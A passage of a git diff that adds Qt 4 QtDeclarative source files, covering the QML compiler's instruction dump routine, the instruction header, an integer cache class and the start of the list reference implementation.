+#include "private/qdeclarativeinstruction_p.h"
+
+#include "private/qdeclarativecompiler_p.h"
+
+#include <QtCore/qdebug.h>
+
+QT_BEGIN_NAMESPACE
+
+void QDeclarativeCompiledData::dump(QDeclarativeInstruction *instr, int idx)
+{
+#ifdef QT_NO_DEBUG_STREAM
+ Q_UNUSED(instr)
+ Q_UNUSED(idx)
+#else
+ QByteArray lineNumber = QByteArray::number(instr->line);
+ if (instr->line == (unsigned short)-1)
+ lineNumber = "NA";
+ const char *line = lineNumber.constData();
+
+ switch(instr->type) {
+ case QDeclarativeInstruction::Init:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "INIT\t\t\t" << instr->init.bindingsSize << "\t" << instr->init.parserStatusSize << "\t" << instr->init.contextCache << "\t" << instr->init.compiledBinding;
+ break;
+ case QDeclarativeInstruction::CreateObject:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "CREATE\t\t\t" << instr->create.type << "\t" << instr->create.bindingBits << "\t\t" << types.at(instr->create.type).className;
+ break;
+ case QDeclarativeInstruction::CreateSimpleObject:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "CREATE_SIMPLE\t\t" << instr->createSimple.typeSize;
+ break;
+ case QDeclarativeInstruction::SetId:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "SETID\t\t\t" << instr->setId.value << "\t\t\t" << primitives.at(instr->setId.value);
+ break;
+ case QDeclarativeInstruction::SetDefault:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "SET_DEFAULT";
+ break;
+ case QDeclarativeInstruction::CreateComponent:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "CREATE_COMPONENT\t" << instr->createComponent.count;
+ break;
+ case QDeclarativeInstruction::StoreMetaObject:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_META\t\t" << instr->storeMeta.data;
+ break;
+
+ case QDeclarativeInstruction::StoreFloat:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_FLOAT\t\t" << instr->storeFloat.propertyIndex << "\t" << instr->storeFloat.value;
+ break;
+ case QDeclarativeInstruction::StoreDouble:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_DOUBLE\t\t" << instr->storeDouble.propertyIndex << "\t" << instr->storeDouble.value;
+ break;
+ case QDeclarativeInstruction::StoreInteger:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_INTEGER\t\t" << instr->storeInteger.propertyIndex << "\t" << instr->storeInteger.value;
+ break;
+ case QDeclarativeInstruction::StoreBool:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_BOOL\t\t" << instr->storeBool.propertyIndex << "\t" << instr->storeBool.value;
+ break;
+ case QDeclarativeInstruction::StoreString:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_STRING\t\t" << instr->storeString.propertyIndex << "\t" << instr->storeString.value << "\t\t" << primitives.at(instr->storeString.value);
+ break;
+ case QDeclarativeInstruction::StoreUrl:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_URL\t\t" << instr->storeUrl.propertyIndex << "\t" << instr->storeUrl.value << "\t\t" << urls.at(instr->storeUrl.value);
+ break;
+ case QDeclarativeInstruction::StoreColor:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_COLOR\t\t" << instr->storeColor.propertyIndex << "\t\t\t" << QString::number(instr->storeColor.value, 16);
+ break;
+ case QDeclarativeInstruction::StoreDate:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_DATE\t\t" << instr->storeDate.propertyIndex << "\t" << instr->storeDate.value;
+ break;
+ case QDeclarativeInstruction::StoreTime:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_TIME\t\t" << instr->storeTime.propertyIndex << "\t" << instr->storeTime.valueIndex;
+ break;
+ case QDeclarativeInstruction::StoreDateTime:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_DATETIME\t\t" << instr->storeDateTime.propertyIndex << "\t" << instr->storeDateTime.valueIndex;
+ break;
+ case QDeclarativeInstruction::StorePoint:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_POINT\t\t" << instr->storeRealPair.propertyIndex << "\t" << instr->storeRealPair.valueIndex;
+ break;
+ case QDeclarativeInstruction::StorePointF:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_POINTF\t\t" << instr->storeRealPair.propertyIndex << "\t" << instr->storeRealPair.valueIndex;
+ break;
+ case QDeclarativeInstruction::StoreSize:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_SIZE\t\t" << instr->storeRealPair.propertyIndex << "\t" << instr->storeRealPair.valueIndex;
+ break;
+ case QDeclarativeInstruction::StoreSizeF:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_SIZEF\t\t" << instr->storeRealPair.propertyIndex << "\t" << instr->storeRealPair.valueIndex;
+ break;
+ case QDeclarativeInstruction::StoreRect:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_RECT\t\t" << instr->storeRect.propertyIndex << "\t" << instr->storeRect.valueIndex;
+ break;
+ case QDeclarativeInstruction::StoreRectF:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_RECTF\t\t" << instr->storeRect.propertyIndex << "\t" << instr->storeRect.valueIndex;
+ break;
+ case QDeclarativeInstruction::StoreVector3D:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_VECTOR3D\t\t" << instr->storeVector3D.propertyIndex << "\t" << instr->storeVector3D.valueIndex;
+ break;
+ case QDeclarativeInstruction::StoreVariant:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_VARIANT\t\t" << instr->storeString.propertyIndex << "\t" << instr->storeString.value << "\t\t" << primitives.at(instr->storeString.value);
+ break;
+ case QDeclarativeInstruction::StoreVariantInteger:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_VARIANT_INTEGER\t\t" << instr->storeInteger.propertyIndex << "\t" << instr->storeInteger.value;
+ break;
+ case QDeclarativeInstruction::StoreVariantDouble:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_VARIANT_DOUBLE\t\t" << instr->storeDouble.propertyIndex << "\t" << instr->storeDouble.value;
+ break;
+ case QDeclarativeInstruction::StoreVariantBool:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_VARIANT_BOOL\t\t" << instr->storeBool.propertyIndex << "\t" << instr->storeBool.value;
+ break;
+ case QDeclarativeInstruction::StoreObject:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_OBJECT\t\t" << instr->storeObject.propertyIndex;
+ break;
+ case QDeclarativeInstruction::StoreVariantObject:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_VARIANT_OBJECT\t" << instr->storeObject.propertyIndex;
+ break;
+ case QDeclarativeInstruction::StoreInterface:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_INTERFACE\t\t" << instr->storeObject.propertyIndex;
+ break;
+
+ case QDeclarativeInstruction::StoreSignal:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_SIGNAL\t\t" << instr->storeSignal.signalIndex << "\t" << instr->storeSignal.value << "\t\t" << primitives.at(instr->storeSignal.value);
+ break;
+ case QDeclarativeInstruction::StoreImportedScript:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_IMPORTED_SCRIPT\t" << instr->storeScript.value;
+ break;
+ case QDeclarativeInstruction::StoreScriptString:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_SCRIPT_STRING\t" << instr->storeScriptString.propertyIndex << "\t" << instr->storeScriptString.value << "\t" << instr->storeScriptString.scope;
+ break;
+
+ case QDeclarativeInstruction::AssignSignalObject:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "ASSIGN_SIGNAL_OBJECT\t" << instr->assignSignalObject.signal << "\t\t\t" << datas.at(instr->assignSignalObject.signal);
+ break;
+ case QDeclarativeInstruction::AssignCustomType:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "ASSIGN_CUSTOMTYPE\t" << instr->assignCustomType.propertyIndex << "\t" << instr->assignCustomType.valueIndex;
+ break;
+
+ case QDeclarativeInstruction::StoreBinding:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_BINDING\t" << instr->assignBinding.property << "\t" << instr->assignBinding.value << "\t" << instr->assignBinding.context;
+ break;
+ case QDeclarativeInstruction::StoreBindingOnAlias:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_BINDING_ALIAS\t" << instr->assignBinding.property << "\t" << instr->assignBinding.value << "\t" << instr->assignBinding.context;
+ break;
+ case QDeclarativeInstruction::StoreCompiledBinding:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_COMPILED_BINDING\t" << instr->assignBinding.property << "\t" << instr->assignBinding.value << "\t" << instr->assignBinding.context;
+ break;
+ case QDeclarativeInstruction::StoreValueSource:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_VALUE_SOURCE\t" << instr->assignValueSource.property << "\t" << instr->assignValueSource.castValue;
+ break;
+ case QDeclarativeInstruction::StoreValueInterceptor:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_VALUE_INTERCEPTOR\t" << instr->assignValueInterceptor.property << "\t" << instr->assignValueInterceptor.castValue;
+ break;
+
+ case QDeclarativeInstruction::BeginObject:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "BEGIN\t\t\t" << instr->begin.castValue;
+ break;
+ case QDeclarativeInstruction::StoreObjectQList:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_OBJECT_QLIST";
+ break;
+ case QDeclarativeInstruction::AssignObjectList:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "ASSIGN_OBJECT_LIST";
+ break;
+ case QDeclarativeInstruction::FetchAttached:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "FETCH_ATTACHED\t\t" << instr->fetchAttached.id;
+ break;
+ case QDeclarativeInstruction::FetchQList:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "FETCH_QLIST\t\t" << instr->fetch.property;
+ break;
+ case QDeclarativeInstruction::FetchObject:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "FETCH\t\t\t" << instr->fetch.property;
+ break;
+ case QDeclarativeInstruction::FetchValueType:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "FETCH_VALUE\t\t" << instr->fetchValue.property << "\t" << instr->fetchValue.type << "\t" << instr->fetchValue.bindingSkipList;
+ break;
+ case QDeclarativeInstruction::PopFetchedObject:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "POP";
+ break;
+ case QDeclarativeInstruction::PopQList:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "POP_QLIST";
+ break;
+ case QDeclarativeInstruction::PopValueType:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "POP_VALUE\t\t" << instr->fetchValue.property << "\t" << instr->fetchValue.type;
+ break;
+ case QDeclarativeInstruction::Defer:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "DEFER" << "\t\t\t" << instr->defer.deferCount;
+ break;
+ default:
+ qWarning().nospace() << idx << "\t\t" << line << "\t" << "XXX UNKNOWN INSTRUCTION" << "\t" << instr->type;
+ break;
+ }
+#endif // QT_NO_DEBUG_STREAM
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativeinstruction_p.h b/src/declarative/qml/qdeclarativeinstruction_p.h
new file mode 100644
index 00000000..34de1116
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeinstruction_p.h
@@ -0,0 +1,359 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEINSTRUCTION_P_H
+#define QDECLARATIVEINSTRUCTION_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <QtCore/qglobal.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeCompiledData;
+class Q_AUTOTEST_EXPORT QDeclarativeInstruction
+{
+public:
+ enum Type {
+ //
+ // Object Creation
+ //
+ // CreateObject - Create a new object instance and push it on the
+ // object stack
+ // SetId - Set the id of the object on the top of the object stack
+ // SetDefault - Sets the instance on the top of the object stack to
+ // be the context's default object.
+ // StoreMetaObject - Assign the dynamic metaobject to object on the
+ // top of the stack.
+ Init, /* init */
+ CreateObject, /* create */
+ CreateSimpleObject, /* createSimple */
+ SetId, /* setId */
+ SetDefault,
+ CreateComponent, /* createComponent */
+ StoreMetaObject, /* storeMeta */
+
+ //
+ // Precomputed single assignment
+ //
+ // StoreFloat - Store a float in a core property
+ // StoreDouble - Store a double in a core property
+ // StoreInteger - Store a int or uint in a core property
+ // StoreBool - Store a bool in a core property
+ // StoreString - Store a QString in a core property
+ // StoreUrl - Store a QUrl in a core property
+ // StoreColor - Store a QColor in a core property
+ // StoreDate - Store a QDate in a core property
+ // StoreTime - Store a QTime in a core property
+ // StoreDateTime - Store a QDateTime in a core property
+ // StoreVariant - Store a QVariant in a core property
+ // StoreObject - Pop the object on the top of the object stack and
+ // store it in a core property
+ StoreFloat, /* storeFloat */
+ StoreDouble, /* storeDouble */
+ StoreInteger, /* storeInteger */
+ StoreBool, /* storeBool */
+ StoreString, /* storeString */
+ StoreUrl, /* storeUrl */
+ StoreColor, /* storeColor */
+ StoreDate, /* storeDate */
+ StoreTime, /* storeTime */
+ StoreDateTime, /* storeDateTime */
+ StorePoint, /* storeRealPair */
+ StorePointF, /* storeRealPair */
+ StoreSize, /* storeRealPair */
+ StoreSizeF, /* storeRealPair */
+ StoreRect, /* storeRect */
+ StoreRectF, /* storeRect */
+ StoreVector3D, /* storeVector3D */
+ StoreVariant, /* storeString */
+ StoreVariantInteger, /* storeInteger */
+ StoreVariantDouble, /* storeDouble */
+ StoreVariantBool, /* storeBool */
+ StoreObject, /* storeObject */
+ StoreVariantObject, /* storeObject */
+ StoreInterface, /* storeObject */
+
+ StoreSignal, /* storeSignal */
+ StoreImportedScript, /* storeScript */
+ StoreScriptString, /* storeScriptString */
+
+ //
+ // Unresolved single assignment
+ //
+ AssignSignalObject, /* assignSignalObject */
+ AssignCustomType, /* assignCustomType */
+
+ StoreBinding, /* assignBinding */
+ StoreBindingOnAlias, /* assignBinding */
+ StoreCompiledBinding, /* assignBinding */
+ StoreValueSource, /* assignValueSource */
+ StoreValueInterceptor, /* assignValueInterceptor */
+
+ BeginObject, /* begin */
+
+ StoreObjectQList, /* NA */
+ AssignObjectList, /* NA */
+
+ FetchAttached, /* fetchAttached */
+ FetchQList, /* fetch */
+ FetchObject, /* fetch */
+ FetchValueType, /* fetchValue */
+
+ //
+ // Stack manipulation
+ //
+ // PopFetchedObject - Remove an object from the object stack
+ // PopQList - Remove a list from the list stack
+ PopFetchedObject,
+ PopQList,
+ PopValueType, /* fetchValue */
+
+ //
+ // Deferred creation
+ //
+ Defer /* defer */
+ };
+ QDeclarativeInstruction()
+ : line(0) {}
+
+ Type type;
+ unsigned short line;
+
+ struct InitInstruction {
+ int bindingsSize;
+ int parserStatusSize;
+ int contextCache;
+ int compiledBinding;
+ };
+ struct CreateInstruction {
+ int type;
+ int data;
+ int bindingBits;
+ ushort column;
+ };
+ struct CreateSimpleInstruction {
+ void (*create)(void *);
+ int typeSize;
+ int type;
+ ushort column;
+ };
+ struct StoreMetaInstruction {
+ int data;
+ int aliasData;
+ int propertyCache;
+ };
+ struct SetIdInstruction {
+ int value;
+ int index;
+ };
+ struct AssignValueSourceInstruction {
+ int property;
+ int owner;
+ int castValue;
+ };
+ struct AssignValueInterceptorInstruction {
+ int property;
+ int owner;
+ int castValue;
+ };
+ struct AssignBindingInstruction {
+ unsigned int property;
+ int value;
+ short context;
+ short owner;
+ };
+ struct FetchInstruction {
+ int property;
+ };
+ struct FetchValueInstruction {
+ int property;
+ int type;
+ quint32 bindingSkipList;
+ };
+ struct FetchQmlListInstruction {
+ int property;
+ int type;
+ };
+ struct BeginInstruction {
+ int castValue;
+ };
+ struct StoreFloatInstruction {
+ int propertyIndex;
+ float value;
+ };
+ struct StoreDoubleInstruction {
+ int propertyIndex;
+ double value;
+ };
+ struct StoreIntegerInstruction {
+ int propertyIndex;
+ int value;
+ };
+ struct StoreBoolInstruction {
+ int propertyIndex;
+ bool value;
+ };
+ struct StoreStringInstruction {
+ int propertyIndex;
+ int value;
+ };
+ struct StoreScriptStringInstruction {
+ int propertyIndex;
+ int value;
+ int scope;
+ };
+ struct StoreScriptInstruction {
+ int value;
+ };
+ struct StoreUrlInstruction {
+ int propertyIndex;
+ int value;
+ };
+ struct StoreColorInstruction {
+ int propertyIndex;
+ unsigned int value;
+ };
+ struct StoreDateInstruction {
+ int propertyIndex;
+ int value;
+ };
+ struct StoreTimeInstruction {
+ int propertyIndex;
+ int valueIndex;
+ };
+ struct StoreDateTimeInstruction {
+ int propertyIndex;
+ int valueIndex;
+ };
+ struct StoreRealPairInstruction {
+ int propertyIndex;
+ int valueIndex;
+ };
+ struct StoreRectInstruction {
+ int propertyIndex;
+ int valueIndex;
+ };
+ struct StoreVector3DInstruction {
+ int propertyIndex;
+ int valueIndex;
+ };
+ struct StoreObjectInstruction {
+ int propertyIndex;
+ };
+ struct AssignCustomTypeInstruction {
+ int propertyIndex;
+ int valueIndex;
+ };
+ struct StoreSignalInstruction {
+ int signalIndex;
+ int value;
+ short context;
+ int name;
+ };
+ struct AssignSignalObjectInstruction {
+ int signal;
+ };
+ struct CreateComponentInstruction {
+ int count;
+ ushort column;
+ int endLine;
+ int metaObject;
+ };
+ struct FetchAttachedInstruction {
+ int id;
+ };
+ struct DeferInstruction {
+ int deferCount;
+ };
+
+ union {
+ InitInstruction init;
+ CreateInstruction create;
+ CreateSimpleInstruction createSimple;
+ StoreMetaInstruction storeMeta;
+ SetIdInstruction setId;
+ AssignValueSourceInstruction assignValueSource;
+ AssignValueInterceptorInstruction assignValueInterceptor;
+ AssignBindingInstruction assignBinding;
+ FetchInstruction fetch;
+ FetchValueInstruction fetchValue;
+ FetchQmlListInstruction fetchQmlList;
+ BeginInstruction begin;
+ StoreFloatInstruction storeFloat;
+ StoreDoubleInstruction storeDouble;
+ StoreIntegerInstruction storeInteger;
+ StoreBoolInstruction storeBool;
+ StoreStringInstruction storeString;
+ StoreScriptStringInstruction storeScriptString;
+ StoreScriptInstruction storeScript;
+ StoreUrlInstruction storeUrl;
+ StoreColorInstruction storeColor;
+ StoreDateInstruction storeDate;
+ StoreTimeInstruction storeTime;
+ StoreDateTimeInstruction storeDateTime;
+ StoreRealPairInstruction storeRealPair;
+ StoreRectInstruction storeRect;
+ StoreVector3DInstruction storeVector3D;
+ StoreObjectInstruction storeObject;
+ AssignCustomTypeInstruction assignCustomType;
+ StoreSignalInstruction storeSignal;
+ AssignSignalObjectInstruction assignSignalObject;
+ CreateComponentInstruction createComponent;
+ FetchAttachedInstruction fetchAttached;
+ DeferInstruction defer;
+ };
+
+ void dump(QDeclarativeCompiledData *);
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEINSTRUCTION_P_H
diff --git a/src/declarative/qml/qdeclarativeintegercache.cpp b/src/declarative/qml/qdeclarativeintegercache.cpp
new file mode 100644
index 00000000..feb39fef
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeintegercache.cpp
@@ -0,0 +1,96 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeintegercache_p.h"
+
+#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativemetatype_p.h"
+
+QT_BEGIN_NAMESPACE
+
+QDeclarativeIntegerCache::QDeclarativeIntegerCache(QDeclarativeEngine *e)
+: QDeclarativeCleanup(e), engine(e)
+{
+}
+
+QDeclarativeIntegerCache::~QDeclarativeIntegerCache()
+{
+ clear();
+}
+
+void QDeclarativeIntegerCache::clear()
+{
+ qDeleteAll(stringCache);
+ stringCache.clear();
+ identifierCache.clear();
+ engine = 0;
+}
+
+QString QDeclarativeIntegerCache::findId(int value) const
+{
+ for (StringCache::ConstIterator iter = stringCache.begin();
+ iter != stringCache.end(); ++iter) {
+ if (iter.value() && iter.value()->value == value)
+ return iter.key();
+ }
+ return QString();
+}
+
+void QDeclarativeIntegerCache::add(const QString &id, int value)
+{
+ Q_ASSERT(!stringCache.contains(id));
+
+ QDeclarativeEnginePrivate *enginePriv = QDeclarativeEnginePrivate::get(engine);
+
+ // ### use contextClass
+ Data *d = new Data(enginePriv->objectClass->createPersistentIdentifier(id), value);
+
+ stringCache.insert(id, d);
+ identifierCache.insert(d->identifier, d);
+}
+
+int QDeclarativeIntegerCache::value(const QString &id)
+{
+ Data *d = stringCache.value(id);
+ return d?d->value:-1;
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativeintegercache_p.h b/src/declarative/qml/qdeclarativeintegercache_p.h
new file mode 100644
index 00000000..148f44e2
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeintegercache_p.h
@@ -0,0 +1,112 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEINTEGERCACHE_P_H
+#define QDECLARATIVEINTEGERCACHE_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativerefcount_p.h"
+#include "private/qdeclarativecleanup_p.h"
+
+#include <QtCore/qhash.h>
+
+#include <private/qscriptdeclarativeclass_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeType;
+class QDeclarativeEngine;
+class QDeclarativeIntegerCache : public QDeclarativeRefCount, public QDeclarativeCleanup
+{
+public:
+ QDeclarativeIntegerCache(QDeclarativeEngine *);
+ virtual ~QDeclarativeIntegerCache();
+
+ inline int count() const;
+ void add(const QString &, int);
+ int value(const QString &);
+ QString findId(int value) const;
+ inline int value(const QScriptDeclarativeClass::Identifier &id) const;
+
+protected:
+ virtual void clear();
+
+private:
+ struct Data : public QScriptDeclarativeClass::PersistentIdentifier {
+ Data(const QScriptDeclarativeClass::PersistentIdentifier &i, int v)
+ : QScriptDeclarativeClass::PersistentIdentifier(i), value(v) {}
+
+ int value;
+ };
+
+ typedef QHash<QString, Data *> StringCache;
+ typedef QHash<QScriptDeclarativeClass::Identifier, Data *> IdentifierCache;
+
+ StringCache stringCache;
+ IdentifierCache identifierCache;
+ QDeclarativeEngine *engine;
+};
+
+int QDeclarativeIntegerCache::value(const QScriptDeclarativeClass::Identifier &id) const
+{
+ Data *d = identifierCache.value(id);
+ return d?d->value:-1;
+}
+
+int QDeclarativeIntegerCache::count() const
+{
+ return stringCache.count();
+}
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEINTEGERCACHE_P_H
+
diff --git a/src/declarative/qml/qdeclarativelist.cpp b/src/declarative/qml/qdeclarativelist.cpp
new file mode 100644
index 00000000..a9124c7d
--- /dev/null
+++ b/src/declarative/qml/qdeclarativelist.cpp
@@ -0,0 +1,417 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativelist.h"
+#include "private/qdeclarativelist_p.h"
+#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativeproperty_p.h"
+
+QT_BEGIN_NAMESPACE
+
+QDeclarativeListReferencePrivate::QDeclarativeListReferencePrivate()
+: propertyType(-1), refCount(1)
+{
+}
+
+QDeclarativeListReference QDeclarativeListReferencePrivate::init(const QDeclarativeListProperty<QObject> &prop, int propType, QDeclarativeEngine *engine)
+{
+ QDeclarativeListReference rv;
+
+ if (!prop.object) return rv;
+
+ QDeclarativeEnginePrivate *p = engine?QDeclarativeEnginePrivate::get(engine):0;
+
+ int listType = p?p->listType(propType):QDeclarativeMetaType::listType(propType);
+ if (listType == -1) return rv;
+
+ rv.d = new QDeclarativeListReferencePrivate;
+ rv.d->object = prop.object;
+ rv.d->elementType = p?p->rawMetaObjectForType(listType):QDeclarativeMetaType::qmlType(listType)->baseMetaObject();
+ rv.d->property = prop;
+ rv.d->propertyType = propType;
+
+ return rv;
+}
+
+void QDeclarativeListReferencePrivate::addref()
+{
+ Q_ASSERT(refCount > 0);
+ ++refCount;
+}
+
+void QDeclarativeListReferencePrivate::release()
+{
+ Q_ASSERT(refCount > 0);
+ --refCount;
+ if (!refCount)
+ delete this;
+}
+
+/*!
+\class QDeclarativeListReference
+\since 4.7
+\module QtDeclarative
+\brief The QDeclarativeListReference class allows the manipulation of QDeclarativeListProperty properties.
+
